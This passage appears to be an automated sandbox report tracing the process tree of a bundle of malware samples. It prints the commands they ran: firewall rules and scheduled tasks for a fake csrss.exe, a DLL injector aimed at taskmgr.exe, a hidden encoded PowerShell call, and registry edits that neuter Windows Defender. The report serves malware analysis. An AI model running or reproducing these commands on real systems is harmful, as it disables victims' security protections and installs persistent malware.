        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:2804
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:2596
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:5132
- C:\Users\Admin\Documents\GuardFox\aOiKcNVG4FAxtldCM7_Aj8fa.exe
  "C:\Users\Admin\Documents\GuardFox\aOiKcNVG4FAxtldCM7_Aj8fa.exe"
  2⤵
  - Executes dropped EXE
  PID:2868
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2868 -s 344
    3⤵
    - Program crash
    PID:4144
- C:\Users\Admin\Documents\GuardFox\7cKnjzD2VH8mdogK6Yqc74fk.exe
  "C:\Users\Admin\Documents\GuardFox\7cKnjzD2VH8mdogK6Yqc74fk.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:4748
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2164
    3⤵
    - Program crash
    PID:5956
- C:\Users\Admin\Documents\GuardFox\rKlG0105_QMP5yCEVWPcwfwN.exe
  "C:\Users\Admin\Documents\GuardFox\rKlG0105_QMP5yCEVWPcwfwN.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:2568
- C:\Users\Admin\Documents\GuardFox\PRPSLOJESuJHQLjldDsEWa5D.exe
  "C:\Users\Admin\Documents\GuardFox\PRPSLOJESuJHQLjldDsEWa5D.exe"
  2⤵
  - Executes dropped EXE
  PID:2460
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:4436
- - C:\Users\Admin\Documents\GuardFox\PRPSLOJESuJHQLjldDsEWa5D.exe
    "C:\Users\Admin\Documents\GuardFox\PRPSLOJESuJHQLjldDsEWa5D.exe"
    3⤵
    PID:1800
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:3240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:5816
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:2184
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:5456
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:6052
  - - C:\Windows\rss\csrss.exe
      C:\Windows\rss\csrss.exe
      4⤵
      PID:4740
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:6072
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        5⤵
        Creates scheduled task(s)
        
        PID:5576
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        5⤵
        
        PID:5364
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:4588
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:760
    - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        5⤵
        
        PID:4464
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        5⤵
        Creates scheduled task(s)
        
        PID:232
    - - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        5⤵
        
        PID:2272
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        
        PID:4320
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        Launches sc.exe
        
        PID:4576
- C:\Users\Admin\Documents\GuardFox\MHJl5U5jh6JBITZpQcz7bkql.exe
  "C:\Users\Admin\Documents\GuardFox\MHJl5U5jh6JBITZpQcz7bkql.exe"
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:760
- C:\Users\Admin\Documents\GuardFox\HBZbjdUX0pRpCqEGONC_Y2ES.exe
  "C:\Users\Admin\Documents\GuardFox\HBZbjdUX0pRpCqEGONC_Y2ES.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Users\Admin\AppData\Local\Temp\is-J8KKB.tmp\HBZbjdUX0pRpCqEGONC_Y2ES.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-J8KKB.tmp\HBZbjdUX0pRpCqEGONC_Y2ES.tmp" /SL5="$501CC,4124890,54272,C:\Users\Admin\Documents\GuardFox\HBZbjdUX0pRpCqEGONC_Y2ES.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5684
  - - C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe
      "C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe" -i
      4⤵
      Executes dropped EXE
      PID:4896
  - - C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe
      "C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe" -s
      4⤵
      Executes dropped EXE
      PID:1200
- C:\Users\Admin\Documents\GuardFox\T83K0fj1RPNZcK5ce9BGYbEr.exe
  "C:\Users\Admin\Documents\GuardFox\T83K0fj1RPNZcK5ce9BGYbEr.exe"
  2⤵
  - Executes dropped EXE
  PID:5820
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 2072
    3⤵
    - Program crash
    PID:2548
- C:\Users\Admin\Documents\GuardFox\FfTdssBgUOeUFS8ACw1xXwQq.exe
  "C:\Users\Admin\Documents\GuardFox\FfTdssBgUOeUFS8ACw1xXwQq.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:5980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5324
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2572
- C:\Users\Admin\Documents\GuardFox\Oo3P2P2VOFHTfbT2AUs5ehOf.exe
  "C:\Users\Admin\Documents\GuardFox\Oo3P2P2VOFHTfbT2AUs5ehOf.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:5972
- C:\Users\Admin\Documents\GuardFox\ozHYoRTpmXEy7Cy7N9wHNH1A.exe
  "C:\Users\Admin\Documents\GuardFox\ozHYoRTpmXEy7Cy7N9wHNH1A.exe"
  2⤵
  - Executes dropped EXE
  PID:4316
- C:\Users\Admin\Documents\GuardFox\griZbGlDTQ2Gp9lRWbcAmGPV.exe
  "C:\Users\Admin\Documents\GuardFox\griZbGlDTQ2Gp9lRWbcAmGPV.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5096
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3608
- C:\Users\Admin\Documents\GuardFox\WbpOVj2wdHtADLlWkCQJXyxg.exe
  "C:\Users\Admin\Documents\GuardFox\WbpOVj2wdHtADLlWkCQJXyxg.exe"
  2⤵
  - Executes dropped EXE
  PID:2972
- C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe
  "C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2816
- C:\Users\Admin\Documents\GuardFox\GcY5mYzrooPu5n33Ou1uEsNN.exe
  "C:\Users\Admin\Documents\GuardFox\GcY5mYzrooPu5n33Ou1uEsNN.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:6088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:5380
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffa9bc9758,0x7fffa9bc9768,0x7fffa9bc9778
      4⤵
      PID:5348
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:8
      4⤵
      PID:2700
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1740 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:2
      4⤵
      PID:6016
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2272 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:8
      4⤵
      PID:4584
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3064 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:1
      4⤵
      PID:1696
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3044 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:1
      4⤵
      PID:2748
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4904 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:1
      4⤵
      PID:2420
- C:\Users\Admin\Documents\GuardFox\ZXVOsXkq1YByDDKKVRvePpsA.exe
  "C:\Users\Admin\Documents\GuardFox\ZXVOsXkq1YByDDKKVRvePpsA.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  PID:6076
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5088
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"
      4⤵
      PID:4492
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    3⤵
    PID:404
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    3⤵
    PID:3352
- C:\Users\Admin\Documents\GuardFox\Ipjb8_Ct3Bu5_uNThO5sOupY.exe
  "C:\Users\Admin\Documents\GuardFox\Ipjb8_Ct3Bu5_uNThO5sOupY.exe"
  2⤵
  - Executes dropped EXE
  PID:6044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2868 -ip 2868
1⤵
PID:5640

C:\Users\Admin\AppData\Local\Temp\onefile_2972_133531841536410118\WW9_64.exe
"C:\Users\Admin\Documents\GuardFox\WbpOVj2wdHtADLlWkCQJXyxg.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4520

C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe
"C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:844
- C:\Windows\SysWOW64\icacls.exe
  icacls "C:\Users\Admin\AppData\Local\6822f988-ccf5-4e57-afb4-dd971c700c06" /deny *S-1-1-0:(OI)(CI)(DE,DC)
  2⤵
  - Modifies file permissions
  PID:320
- C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe
  "C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe" --Admin IsNotAutoStart IsNotTask
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3404
- - C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe
    "C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    - Executes dropped EXE
    PID:412
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 568
      4⤵
      Program crash
      PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:6040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 412 -ip 412
1⤵
PID:2120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5820 -ip 5820
1⤵
PID:4980

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:5848
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:5432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4748 -ip 4748
1⤵
PID:5768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5292

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2700

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:3204

C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis\gCckOLUAyUDZmqr\gDwSKdh.exe
C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis\gCckOLUAyUDZmqr\gDwSKdh.exe r1 /LNsite_idduL 525403 /S
1⤵
PID:6052
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:1692
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4416
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:3136
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1332
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5896
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5744
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5528
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3212
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5152
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5752
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5908
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2356
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5192
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4184
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:452
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1164
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5612
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3172
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
